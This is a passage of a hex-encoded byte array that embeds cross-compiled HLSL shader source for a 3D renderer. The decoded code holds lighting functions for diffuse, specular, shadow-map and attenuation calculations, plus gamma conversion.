0x69,0x63,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x76,0x43,0x6f,0x6c,0x6f,0x72,
0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x34,0x20,0x66,0x72,0x61,0x67,0x5f,0x63,0x6f,0x6c,0x6f,0x72,0x3b,0x0a,
0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x76,0x43,
0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x3b,0x0a,0x0a,0x73,0x74,0x72,
0x75,0x63,0x74,0x20,0x53,0x50,0x49,0x52,0x56,0x5f,0x43,0x72,0x6f,0x73,0x73,0x5f,
0x49,0x6e,0x70,0x75,0x74,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x32,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,0x3a,0x20,0x54,
0x45,0x58,0x43,0x4f,0x4f,0x52,0x44,0x30,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x33,0x20,0x76,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x20,0x3a,0x20,0x54,
0x45,0x58,0x43,0x4f,0x4f,0x52,0x44,0x31,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x33,0x20,0x76,0x46,0x72,0x61,0x67,0x50,0x6f,0x73,0x20,0x3a,0x20,
0x54,0x45,0x58,0x43,0x4f,0x4f,0x52,0x44,0x32,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x34,0x20,0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,
0x20,0x3a,0x20,0x54,0x45,0x58,0x43,0x4f,0x4f,0x52,0x44,0x33,0x3b,0x0a,0x20,0x20,
0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4f,
0x66,0x66,0x73,0x65,0x74,0x20,0x3a,0x20,0x54,0x45,0x58,0x43,0x4f,0x4f,0x52,0x44,
0x34,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x76,0x5f,
0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x20,0x3a,0x20,0x54,0x45,0x58,
0x43,0x4f,0x4f,0x52,0x44,0x35,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,
0x63,0x74,0x20,0x53,0x50,0x49,0x52,0x56,0x5f,0x43,0x72,0x6f,0x73,0x73,0x5f,0x4f,
0x75,0x74,0x70,0x75,0x74,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x34,0x20,0x66,0x72,0x61,0x67,0x5f,0x63,0x6f,0x6c,0x6f,0x72,0x20,0x3a,0x20,
0x53,0x56,0x5f,0x54,0x61,0x72,0x67,0x65,0x74,0x30,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,
0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x39,0x36,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,
0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,
0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x66,0x6c,0x6f,0x61,0x74,
0x20,0x6f,0x72,0x65,0x6e,0x5f,0x6e,0x61,0x79,0x61,0x72,0x5f,0x64,0x69,0x66,0x66,
0x75,0x73,0x65,0x28,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x6c,0x69,0x67,0x68,0x74,
0x5f,0x64,0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x33,0x20,0x76,0x69,0x65,0x77,0x5f,0x64,0x69,0x72,0x65,0x63,0x74,0x69,0x6f,
0x6e,0x2c,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x73,0x75,0x72,0x66,0x61,0x63,
0x65,0x5f,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x2c,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,
0x72,0x6f,0x75,0x67,0x68,0x6e,0x65,0x73,0x73,0x2c,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x20,0x61,0x6c,0x62,0x65,0x64,0x6f,0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,
0x20,0x31,0x39,0x36,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,
0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,
0x67,0x6c,0x73,0x6c,0x22,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x39,0x37,0x20,
0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,
0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x32,0x31,0x39,0x20,
0x3d,0x20,0x64,0x6f,0x74,0x28,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x65,
0x63,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x73,0x75,0x72,0x66,0x61,0x63,0x65,0x5f,0x6e,
0x6f,0x72,0x6d,0x61,0x6c,0x29,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x39,
0x38,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,
0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,
0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x32,0x32,
0x33,0x20,0x3d,0x20,0x64,0x6f,0x74,0x28,0x73,0x75,0x72,0x66,0x61,0x63,0x65,0x5f,
0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x2c,0x20,0x76,0x69,0x65,0x77,0x5f,0x64,0x69,0x72,
0x65,0x63,0x74,0x69,0x6f,0x6e,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x20,0x5f,0x32,0x32,0x39,0x20,0x3d,0x20,0x64,0x6f,0x74,0x28,0x6c,0x69,
0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x76,
0x69,0x65,0x77,0x5f,0x64,0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x29,0x20,0x2d,
0x20,0x28,0x5f,0x32,0x31,0x39,0x20,0x2a,0x20,0x5f,0x32,0x32,0x33,0x29,0x3b,0x0a,
0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x30,0x33,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,
0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,
0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x20,0x5f,0x32,0x34,0x30,0x20,0x3d,0x20,0x72,0x6f,0x75,0x67,
0x68,0x6e,0x65,0x73,0x73,0x20,0x2a,0x20,0x72,0x6f,0x75,0x67,0x68,0x6e,0x65,0x73,
0x73,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x30,0x37,0x20,0x22,0x73,0x72,
0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,
0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,
0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x28,0x28,0x61,0x6c,0x62,0x65,0x64,
0x6f,0x20,0x2a,0x20,0x6d,0x61,0x78,0x28,0x30,0x2e,0x30,0x66,0x2c,0x20,0x5f,0x32,
0x31,0x39,0x29,0x29,0x20,0x2a,0x20,0x28,0x28,0x31,0x2e,0x30,0x66,0x20,0x2b,0x20,
0x28,0x5f,0x32,0x34,0x30,0x20,0x2a,0x20,0x28,0x28,0x61,0x6c,0x62,0x65,0x64,0x6f,
0x20,0x2f,0x20,0x28,0x5f,0x32,0x34,0x30,0x20,0x2b,0x20,0x30,0x2e,0x31,0x32,0x39,
0x39,0x39,0x39,0x39,0x39,0x35,0x32,0x33,0x31,0x36,0x32,0x38,0x34,0x31,0x37,0x39,
0x36,0x38,0x37,0x35,0x66,0x29,0x29,0x20,0x2b,0x20,0x28,0x30,0x2e,0x35,0x66,0x20,
0x2f,0x20,0x28,0x5f,0x32,0x34,0x30,0x20,0x2b,0x20,0x30,0x2e,0x33,0x33,0x30,0x30,
0x30,0x30,0x30,0x31,0x33,0x31,0x31,0x33,0x30,0x32,0x31,0x38,0x35,0x30,0x35,0x38,
0x35,0x39,0x33,0x37,0x35,0x66,0x29,0x29,0x29,0x29,0x29,0x20,0x2b,0x20,0x28,0x28,
0x28,0x28,0x30,0x2e,0x34,0x34,0x39,0x39,0x39,0x39,0x39,0x38,0x38,0x30,0x37,0x39,
0x30,0x37,0x31,0x30,0x34,0x34,0x39,0x32,0x31,0x38,0x37,0x35,0x66,0x20,0x2a,0x20,
0x5f,0x32,0x34,0x30,0x29,0x20,0x2f,0x20,0x28,0x5f,0x32,0x34,0x30,0x20,0x2b,0x20,
0x30,0x2e,0x30,0x39,0x30,0x30,0x30,0x30,0x30,0x30,0x33,0x35,0x37,0x36,0x32,0x37,
0x38,0x36,0x38,0x36,0x35,0x32,0x33,0x34,0x33,0x37,0x35,0x66,0x29,0x29,0x20,0x2a,
0x20,0x5f,0x32,0x32,0x39,0x29,0x20,0x2f,0x20,0x6c,0x65,0x72,0x70,0x28,0x31,0x2e,
0x30,0x66,0x2c,0x20,0x6d,0x61,0x78,0x28,0x5f,0x32,0x31,0x39,0x2c,0x20,0x5f,0x32,
0x32,0x33,0x29,0x2c,0x20,0x73,0x74,0x65,0x70,0x28,0x30,0x2e,0x30,0x66,0x2c,0x20,
0x5f,0x32,0x32,0x39,0x29,0x29,0x29,0x29,0x29,0x20,0x2a,0x20,0x30,0x2e,0x33,0x31,
0x38,0x33,0x30,0x39,0x38,0x37,0x33,0x33,0x34,0x32,0x35,0x31,0x34,0x30,0x33,0x38,
0x30,0x38,0x35,0x39,0x33,0x37,0x35,0x66,0x3b,0x0a,0x7d,0x0a,0x0a,0x23,0x6c,0x69,
0x6e,0x65,0x20,0x32,0x31,0x31,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,
0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,
0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,0x6c,0x61,
0x6d,0x62,0x65,0x72,0x74,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x28,0x66,0x6c,
0x6f,0x61,0x74,0x33,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x65,0x63,
0x74,0x69,0x6f,0x6e,0x2c,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x6e,0x6f,0x72,
0x6d,0x61,0x6c,0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x31,0x31,
0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,
0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,
0x22,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x64,0x6f,0x74,
0x28,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x2c,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,
0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x23,0x6c,
0x69,0x6e,0x65,0x20,0x35,0x36,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,
0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,
0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,0x64,0x65,
0x63,0x6f,0x64,0x65,0x44,0x65,0x70,0x74,0x68,0x28,0x66,0x6c,0x6f,0x61,0x74,0x34,
0x20,0x72,0x67,0x62,0x61,0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x35,
0x36,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,
0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,
0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x64,0x6f,
0x74,0x28,0x72,0x67,0x62,0x61,0x2c,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x28,0x31,
0x2e,0x30,0x66,0x2c,0x20,0x30,0x2e,0x30,0x30,0x33,0x39,0x32,0x31,0x35,0x36,0x38,
0x38,0x35,0x39,0x33,0x36,0x38,0x35,0x36,0x32,0x36,0x39,0x38,0x33,0x36,0x34,0x32,
0x35,0x37,0x38,0x31,0x32,0x35,0x66,0x2c,0x20,0x31,0x2e,0x35,0x33,0x37,0x38,0x37,
0x30,0x30,0x34,0x38,0x31,0x39,0x36,0x30,0x35,0x34,0x39,0x39,0x35,0x30,0x35,0x39,
0x39,0x36,0x37,0x30,0x34,0x31,0x30,0x31,0x35,0x36,0x65,0x2d,0x30,0x35,0x66,0x2c,
0x20,0x36,0x2e,0x30,0x33,0x30,0x38,0x36,0x32,0x39,0x32,0x30,0x31,0x36,0x39,0x39,
0x36,0x35,0x39,0x34,0x36,0x31,0x31,0x35,0x35,0x35,0x33,0x33,0x37,0x39,0x30,0x35,
0x38,0x38,0x65,0x2d,0x30,0x38,0x66,0x29,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x23,0x6c,
0x69,0x6e,0x65,0x20,0x31,0x36,0x35,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,
0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,
0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,0x63,
0x61,0x6c,0x63,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x28,0x66,0x6c,0x6f,0x61,0x74,
0x20,0x63,0x6f,0x73,0x5f,0x74,0x68,0x65,0x74,0x61,0x29,0x0a,0x7b,0x0a,0x23,0x6c,
0x69,0x6e,0x65,0x20,0x31,0x36,0x35,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,
0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,
0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x20,0x5f,0x31,0x36,0x39,0x20,0x3d,0x20,0x76,0x5f,0x73,0x68,0x61,
0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x2e,0x78,0x79,0x7a,0x20,0x2f,0x20,0x76,0x5f,
0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x2e,0x77,0x2e,0x78,0x78,0x78,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x5f,0x31,0x37,
0x39,0x20,0x3d,0x20,0x28,0x5f,0x31,0x36,0x39,0x2e,0x78,0x79,0x20,0x2a,0x20,0x30,
0x2e,0x35,0x66,0x29,0x20,0x2b,0x20,0x30,0x2e,0x35,0x66,0x2e,0x78,0x78,0x3b,0x0a,
0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x5f,0x34,0x37,0x36,0x20,
0x3d,0x20,0x5f,0x31,0x37,0x39,0x3b,0x0a,0x20,0x20,0x20,0x20,0x5f,0x34,0x37,0x36,
0x2e,0x79,0x20,0x3d,0x20,0x31,0x2e,0x30,0x66,0x20,0x2d,0x20,0x5f,0x31,0x37,0x39,
0x2e,0x79,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x37,0x31,0x20,0x22,0x73,
0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,
0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x23,
0x6c,0x69,0x6e,0x65,0x20,0x31,0x39,0x31,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,
0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,
0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x34,0x20,0x70,0x61,0x72,0x61,0x6d,0x20,0x3d,0x20,0x75,0x5f,0x69,
0x6d,0x61,0x67,0x65,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x2e,
0x53,0x61,0x6d,0x70,0x6c,0x65,0x28,0x5f,0x75,0x5f,0x69,0x6d,0x61,0x67,0x65,0x5f,
0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x5f,0x73,0x61,0x6d,0x70,0x6c,
0x65,0x72,0x2c,0x20,0x5f,0x34,0x37,0x36,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,
0x65,0x74,0x75,0x72,0x6e,0x20,0x73,0x74,0x65,0x70,0x28,0x64,0x65,0x63,0x6f,0x64,
0x65,0x44,0x65,0x70,0x74,0x68,0x28,0x70,0x61,0x72,0x61,0x6d,0x29,0x2c,0x20,0x5f,
0x31,0x36,0x39,0x2e,0x7a,0x20,0x2d,0x20,0x28,0x30,0x2e,0x35,0x66,0x20,0x2a,0x20,
0x63,0x6c,0x61,0x6d,0x70,0x28,0x30,0x2e,0x30,0x30,0x34,0x39,0x39,0x39,0x39,0x39,
0x39,0x38,0x38,0x38,0x32,0x34,0x31,0x32,0x39,0x31,0x30,0x34,0x36,0x31,0x34,0x32,
0x35,0x37,0x38,0x31,0x32,0x35,0x66,0x20,0x2a,0x20,0x74,0x61,0x6e,0x28,0x61,0x63,
0x6f,0x73,0x28,0x63,0x6f,0x73,0x5f,0x74,0x68,0x65,0x74,0x61,0x29,0x29,0x2c,0x20,
0x30,0x2e,0x30,0x66,0x2c,0x20,0x30,0x2e,0x30,0x30,0x39,0x39,0x39,0x39,0x39,0x39,
0x39,0x37,0x37,0x36,0x34,0x38,0x32,0x35,0x38,0x32,0x30,0x39,0x32,0x32,0x38,0x35,
0x31,0x35,0x36,0x32,0x35,0x66,0x29,0x29,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x23,0x6c,
0x69,0x6e,0x65,0x20,0x31,0x35,0x32,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,
0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,
0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,0x63,
0x61,0x6c,0x63,0x5f,0x73,0x70,0x65,0x63,0x28,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,
0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x2c,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x33,0x20,0x76,0x69,0x65,0x77,0x5f,0x64,0x69,0x72,0x2c,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x33,0x20,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,
0x6e,0x65,0x20,0x31,0x35,0x32,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,
0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,
0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x35,
0x33,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,
0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,
0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x28,0x28,
0x38,0x2e,0x30,0x66,0x20,0x2b,0x20,0x5f,0x31,0x31,0x30,0x5f,0x6d,0x61,0x74,0x5f,
0x73,0x68,0x69,0x6e,0x69,0x6e,0x65,0x73,0x73,0x29,0x20,0x2a,0x20,0x30,0x2e,0x30,
0x33,0x39,0x37,0x38,0x38,0x37,0x33,0x34,0x31,0x36,0x37,0x38,0x31,0x34,0x32,0x35,
0x34,0x37,0x36,0x30,0x37,0x34,0x32,0x31,0x38,0x37,0x35,0x66,0x29,0x20,0x2a,0x20,
0x70,0x6f,0x77,0x28,0x6d,0x61,0x78,0x28,0x64,0x6f,0x74,0x28,0x6e,0x6f,0x72,0x6d,
0x61,0x6c,0x2c,0x20,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x69,0x7a,0x65,0x28,0x6c,0x69,
0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x20,0x2b,0x20,0x76,0x69,0x65,0x77,0x5f,0x64,
0x69,0x72,0x29,0x29,0x2c,0x20,0x30,0x2e,0x30,0x66,0x29,0x2c,0x20,0x5f,0x31,0x31,
0x30,0x5f,0x6d,0x61,0x74,0x5f,0x73,0x68,0x69,0x6e,0x69,0x6e,0x65,0x73,0x73,0x29,
0x3b,0x0a,0x7d,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x33,0x35,0x20,0x22,
0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,
0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,
0x66,0x6c,0x6f,0x61,0x74,0x20,0x61,0x74,0x74,0x65,0x6e,0x75,0x61,0x74,0x69,0x6f,
0x6e,0x5f,0x70,0x6f,0x69,0x6e,0x74,0x28,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x64,
0x69,0x73,0x74,0x61,0x6e,0x63,0x65,0x5f,0x62,0x79,0x5f,0x72,0x61,0x64,0x69,0x75,
0x73,0x2c,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x66,0x61,0x6c,0x6c,0x6f,0x66,0x66,
0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x33,0x35,0x20,0x22,0x73,
0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,
0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,
0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x70,0x6f,0x77,0x28,0x31,0x2e,
0x30,0x66,0x20,0x2d,0x20,0x6d,0x69,0x6e,0x28,0x31,0x2e,0x30,0x66,0x2c,0x20,0x6c,
0x65,0x6e,0x67,0x74,0x68,0x28,0x64,0x69,0x73,0x74,0x61,0x6e,0x63,0x65,0x5f,0x62,
0x79,0x5f,0x72,0x61,0x64,0x69,0x75,0x73,0x29,0x29,0x2c,0x20,0x32,0x2e,0x30,0x66,
0x20,0x2a,0x20,0x66,0x61,0x6c,0x6c,0x6f,0x66,0x66,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,
0x23,0x6c,0x69,0x6e,0x65,0x20,0x36,0x34,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,
0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,
0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,
0x6c,0x75,0x6d,0x69,0x6e,0x61,0x6e,0x63,0x65,0x28,0x66,0x6c,0x6f,0x61,0x74,0x33,
0x20,0x5f,0x6c,0x69,0x6e,0x65,0x61,0x72,0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,
0x65,0x20,0x36,0x34,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,
0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,
0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,
0x20,0x64,0x6f,0x74,0x28,0x5f,0x6c,0x69,0x6e,0x65,0x61,0x72,0x2c,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x33,0x28,0x30,0x2e,0x32,0x31,0x32,0x35,0x39,0x39,0x39,0x39,0x32,
0x37,0x35,0x32,0x30,0x37,0x35,0x31,0x39,0x35,0x33,0x31,0x32,0x35,0x66,0x2c,0x20,
0x30,0x2e,0x37,0x31,0x35,0x32,0x30,0x30,0x30,0x30,0x36,0x39,0x36,0x31,0x38,0x32,
0x32,0x35,0x30,0x39,0x37,0x36,0x35,0x36,0x32,0x35,0x66,0x2c,0x20,0x30,0x2e,0x30,
0x37,0x32,0x32,0x30,0x30,0x30,0x30,0x30,0x32,0x38,0x36,0x31,0x30,0x32,0x32,0x39,
0x34,0x39,0x32,0x31,0x38,0x37,0x35,0x66,0x29,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x23,
0x6c,0x69,0x6e,0x65,0x20,0x37,0x33,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,
0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,
0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,
0x6c,0x69,0x6e,0x65,0x61,0x72,0x5f,0x74,0x6f,0x5f,0x67,0x61,0x6d,0x6d,0x61,0x28,
0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x78,0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,
0x65,0x20,0x37,0x33,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,
0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,
0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,
0x20,0x70,0x6f,0x77,0x28,0x78,0x2c,0x20,0x30,0x2e,0x34,0x35,0x34,0x35,0x34,0x35,
0x34,0x36,0x38,0x30,0x39,0x31,0x39,0x36,0x34,0x37,0x32,0x31,0x36,0x37,0x39,0x36,
0x38,0x37,0x35,0x66,0x2e,0x78,0x78,0x78,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x23,0x6c,
0x69,0x6e,0x65,0x20,0x38,0x39,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,
0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,
0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x74,
